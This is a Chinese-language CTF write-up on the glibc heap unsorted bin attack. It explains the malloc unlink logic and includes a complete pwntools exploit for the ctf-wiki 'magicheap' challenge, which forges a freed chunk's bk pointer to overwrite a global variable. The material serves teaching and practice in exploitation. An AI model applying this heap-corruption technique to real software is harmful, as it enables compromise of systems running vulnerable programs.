glibc heap unsorted bin attack

unsorted bin 基本简介:
1.它是一种双向链表的形式, 采用FILO的遍历形式。
2.我们知道malloc的时候最先寻找fastbin, 但是当fastbin里面没有合适的chunk的时候,它会去寻找small bin 如果还是没有的话,就会尝试从unsorted bin里面去寻找chunk。

相关源码解释:

  /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av); 

通过上面的bck->fd = unsorted_chunks (av);我们可以知道, 如果把一个unsorted bin被取出来的话 , 会将bck->fd 的位置的内容写入到本unsorted bin的位置 ,那么我们就需要控制bk的值 , 来实现任意地址写,其实原理有点类似于unlink操作,但是由于最后的目标地址会被写成main_arean里面的内容,所以任意写的值我们无法控制。
这其实就是把一个unsorted chunk从链表里拿出来的时候,把fd部分写成了链表里面的unsorted bin 的值。

  • victim = unsorted_chunks(av)->bk=p
  • bck = victim->bk=p->bk = target addr-16
  • unsorted_chunks(av)->bk = bck=target addr-16
  • bck->fd = *(target addr -16+16) = unsorted_chunks(av);

这样的话就可以实现上述功能。

ctf-wiki里面有一个题目,说明了unsorted bin attack的功能之一,题目很简单,首先是一个堆溢出,然后我们就可以修改unsorted bin attack的bk,然后把magic处修改为一个很大的值,实现利用。

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./magicheap"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("")

def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(addr) + "\nc"
    gdb.attach(r,break_point)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def malloc(size,contexe):
    r.recvuntil("Your choice :")
    r.sendline("1")
    r.recvuntil("Heap : ")
    r.sendline(str(size))
    r.recvuntil("heap:")
    r.send(contexe)

def free(idx):
    r.recvuntil("Your choice :")
    r.sendline("3")
    r.recvuntil("Index :")
    r.sendline(str(idx))

def edit(idx,size,context):
    r.recvuntil("Your choice :")
    r.sendline("2")
    r.recvuntil("Index :")
    r.sendline(str(idx))
    r.recvuntil("Heap : ")
    r.sendline(str(size))
    r.recvuntil("heap : ")
    r.send(context)

malloc(0x80,"aa") #0
malloc(0x80,"aa") #1
malloc(0x80,"aa") #2
free(1)
edit(0,0x100,"a"*0x80 + p64(0) + p64(0x90) + p64(0) +p64(0x0000000006020C0-0x10))
malloc(0x80,"a")
gdb.attach(r)
r.recvuntil("Your choice :")
r.sendline("4869")
r.interactive()


   转载规则


《glibc heap unsorted bin attack》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
UNCTF_2019_pwn_orwHeap UNCTF_2019_pwn_orwHeap
orwpwn https://xz.aliyun.com/t/6731#toc-8http://blog.eonew.cn/archives/993 setcontext 函数exploithttps://xz.aliyun.com/t/6
2020-02-01
下一篇 
buu buu
babyheap_0ctf_2017这个题目保护全开,我们分析一下它的数据结构: 可以看出,在一个程序分配出的地址上,存储了堆块是否被使用的flag,和堆块的size和堆块的内存指针,同时值得注意的是calloc,它和malloc有所不同
2020-01-30
  目录